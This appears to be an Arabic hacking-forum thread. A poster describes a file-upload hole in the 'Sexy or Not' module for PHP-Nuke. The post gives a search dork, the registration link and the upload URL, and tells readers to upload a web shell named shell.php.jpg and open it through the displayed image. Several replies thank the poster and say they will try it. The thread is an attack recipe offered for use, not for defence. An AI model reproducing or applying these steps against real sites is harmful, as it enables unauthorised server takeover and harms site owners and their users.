ثغرة رفع ملفات في مودلز Sexy or Not لمجلة النيوك

[MATRIX ALGERIA]

السلام عليكم ورحمة الله

اقتباس:
الحقوق محفوضة لمنتدى غضب فلسطينa012
وناتيكم بكل ما هو جديد باذن الله

الثغرة وما فيها ,, هي انك تقوم برفع شل عن طريق المركز التحميل الخاص بالمودلز ,

كود البحث :

/modules.php?name=Sexy_or_not

نقوم بالتسجيل ومن بعد التسجيل بنفعل اشتراكنا ,

رابط مباشر للتسجيل :

/modules.php?name=Your_Account&op=new_user

ومن بعدها بنضيف خلف رابط السكربت الرابط التالي :

/modules.php?name=Sexy_or_Not&file=upload

وبترفع الشل ,, بامتداد shell.php.jpg ,, وبتظهر كذا صورة بتكبس عليها بيفتحلك الشل ,,

 

[Flash]

مشكور على هالثغرة الحلوة

 

[SpyDZ]

مشكووور آخى على الثغرة أن شاء الله نجربوا .

 

[DR-HEX]

شكرااا يا بطل

 

[Dr.NaNo]

شكرآ اخي سوف اقوم بالتجربه

بالتوفيق